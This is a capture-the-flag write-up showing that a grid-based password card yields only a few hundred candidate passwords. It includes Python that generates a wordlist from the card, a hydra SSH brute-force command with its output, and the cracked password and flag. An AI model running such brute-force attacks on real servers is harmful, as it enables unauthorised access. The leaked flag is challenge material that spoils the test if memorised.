

# Long secure password

## Long secure password

### 3

Hi, TCC-CSIRT analyst,

a new colleague came up with a progressive way of creating a memorable password and would like to implement it as a new standard at TCC. Each user receives a **TCC-CSIRT password card** and determines the password by choosing the starting coordinate, direction, and number of characters. For skeptics about the security of such a solution, he published the card with a challenge to log in to his SSH server.

Verify if the card method has any weaknesses by logging into the given server.

- [Download the password card](#)  
(sha256 checksum:  
**9a35dc6284c8bde03118321b86476cf835a3b48a5fcf09ad6d64af22b9e555ca**)
- The server has domain name **password-card-rules.cypherfix.tcc** and the colleagues's username is **futurethinker**.

In this challenge, a password card, shown below, is provided which, combined with a specified set of rules, is supposed to be used to come up with memorable passwords. This card was also used to choose a password to SSH on the server at `password-card-rules.cypherfix.tcc`.

## TCC-CSIRT password card

	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	
1	S	Q	U	I	R	E	L	L	*	J	U	D	G	E	*	N	E	W	S	*	L	E	S	S	O	N	1
2	W	O	R	R	Y	*	U	P	D	A	T	E	*	S	E	A	F	O	O	D	*	C	R	O	S	S	2
3	C	H	A	P	T	E	R	*	S	P	E	E	D	B	U	M	P	*	C	H	E	C	K	E	R	S	3
4	P	H	O	N	E	*	H	O	P	E	*	N	O	T	E	B	O	O	K	*	O	R	A	N	G	E	4
5	C	A	R	T	O	O	N	S	*	C	L	E	A	N	*	T	O	D	A	Y	*	E	N	T	E	R	5
6	Z	E	B	R	A	*	P	A	T	H	*	V	A	L	U	A	B	L	E	*	M	A	R	I	N	E	6
7	V	O	L	U	M	E	*	R	E	D	U	C	E	*	L	E	T	T	U	C	E	*	G	O	A	L	7
8	B	U	F	F	A	L	O	S	*	T	H	E	*	C	A	T	C	H	*	S	U	P	R	E	M	E	8
9	L	O	N	G	*	O	C	T	O	P	U	S	*	S	E	A	S	O	N	*	S	C	H	E	M	E	9
10	C	A	R	A	V	A	N	*	T	O	B	A	C	C	O	*	W	O	R	M	*	X	E	N	O	N	10
11	P	U	P	P	Y	L	I	K	E	*	W	H	A	T	E	V	E	R	*	P	O	P	U	L	A	R	11
12	S	A	L	A	D	*	U	N	K	N	O	W	N	*	S	Q	U	A	T	S	*	A	U	D	I	T	12
13	H	O	U	R	*	N	E	W	B	O	R	N	*	T	U	R	N	*	W	O	R	K	S	H	O	P	13
14	U	S	E	F	U	L	*	O	F	F	S	H	O	R	E	*	T	O	A	S	T	*	B	O	O	K	14
15	C	O	M	P	A	N	Y	*	F	R	E	Q	U	E	N	C	Y	*	N	I	N	E	T	E	E	N	15
16	A	M	O	U	N	T	*	C	R	E	A	T	E	*	H	O	U	S	E	*	F	O	R	E	S	T	16
17	B	A	T	T	E	R	Y	*	G	O	L	D	E	N	*	R	O	O	T	*	W	H	E	E	L	S	17
18	S	H	E	E	P	*	H	O	L	I	D	A	Y	*	A	P	P	L	E	*	L	A	W	Y	E	R	18
19	S	U	M	M	E	R	*	H	O	R	S	E	*	W	A	T	E	R	*	S	U	L	P	H	U	R	19
	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	

Choose a starting point and go straight in any direction until you reach the edge or length of the password.



This card along with the rules only has a quite limited number of passwords it can generate. This fact allows to generate all the possible passwords and then use the generated wordlist to brute force the SSH access password.

One of the hints states that the password is 18 characters long. Using this information along with the Python code below, one can generate a wordlist containing all the possible passwords.

```
card = """
SQUIRELL*JUDGE*NEWS*LESSON
WORRY*UPDATE*SEAFOOD*CROSS
CHAPTER*SPEEDBUMP*CHECKERS
PHONE*HOPE*NOTEBOOK*ORANGE
CARTOONS*CLEAN*TODAY*ENTER
ZEBRA*PATH*VALUABLE*MARINE
VOLUME*REDUCE*LETTUCE*GOAL
BUFFALOS*THE*CATCH*SUPREME
LONG*OCTOPUS*SEASON*SCHEME
CARAVAN*TOBACCO*WORM*XENON
PUPPYLIKE*WHATEVER*POPULAR
SALAD*UNKNOWN*SQUATS*AUDIT
```

```

HOUR*NEWBORN*TURN*WORKSHOP
USEFUL*OFFSHORE*TOAST*BOOK
COMPANY*FREQUENCY*NINETEEN
AMOUNT*CREATE*HOUSE*FOREST
BATTERY*GOLDEN*ROOT*WHEELS
SHEEP*HOLIDAY*APPLE*LAWYER
SUMMER*HORSE*WATER*SULPHUR
"""

```

```

def generate_strings(matrix, max_len=20):
    rows, cols = len(matrix), len(matrix[0])
    directions = [(0, 1), (1, 0), (0, -1), (-1, 0), (1, 1), (1, -1), (-1,
1), (-1, -1)]
    results = []

    def get_string(r, c, dr, dc, l):
        result = ""
        for i in range(l):
            if 0 <= r < rows and 0 <= c < cols:
                result += matrix[r][c]
                r, c = r + dr, c + dc
            else:
                break
        return result

    for dr, dc in directions:
        for r in range(rows):
            for c in range(cols):
                #for l in range(1, max_len+1):
                s = get_string(r, c, dr, dc, 18)
                if s not in results and len(s) == 18:
                    results.append(s)

    return results

res = generate_strings(card)

with open('wl.txt', 'w') as f:
    f.writelines('\n'.join(res))

```

Once the wordlist is generated, it is only a matter of launching a brute force attack on the victim SSH server, using *hydra*, like shown below.

```

$ hydra -l futurethinker -P wl.txt ssh://password-card-rules.cypherfix.tcc/
-t 4

```

This attack takes only about a minute and finds a valid password, which is SAOPUNUKTPHCANEMFW .

```
└─$ hydra -l futurethinker -P wl.txt ssh://password-card-rules.cypherfix.tcc/ -t 4
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service o

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-11-04 11:04:46
[DATA] max 4 tasks per 1 server, overall 4 tasks, 517 login tries (l:1/p:517), ~130 tries per task
[DATA] attacking ssh://password-card-rules.cypherfix.tcc:22/
[22][ssh] host: password-card-rules.cypherfix.tcc login: futurethinker password: SAOPUNUKTPHCANEMFW
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-11-04 11:05:15
```

After logging in with the found credentials, the server reveals the flag.

```
└─$ ssh futurethinker@password-card-rules.cypherfix.tcc
futurethinker@password-card-rules.cypherfix.tcc's password:
Nobody will ever read this message anyway, because the TCC password card is super secure. Even my lunch access-code is safe here: FLAG{uNZm-GGVK-JbxV-1DIx}
Connection to password-card-rules.cypherfix.tcc closed.
```

The flag is FLAG{uNZm-GGVK-JbxV-1DIx} .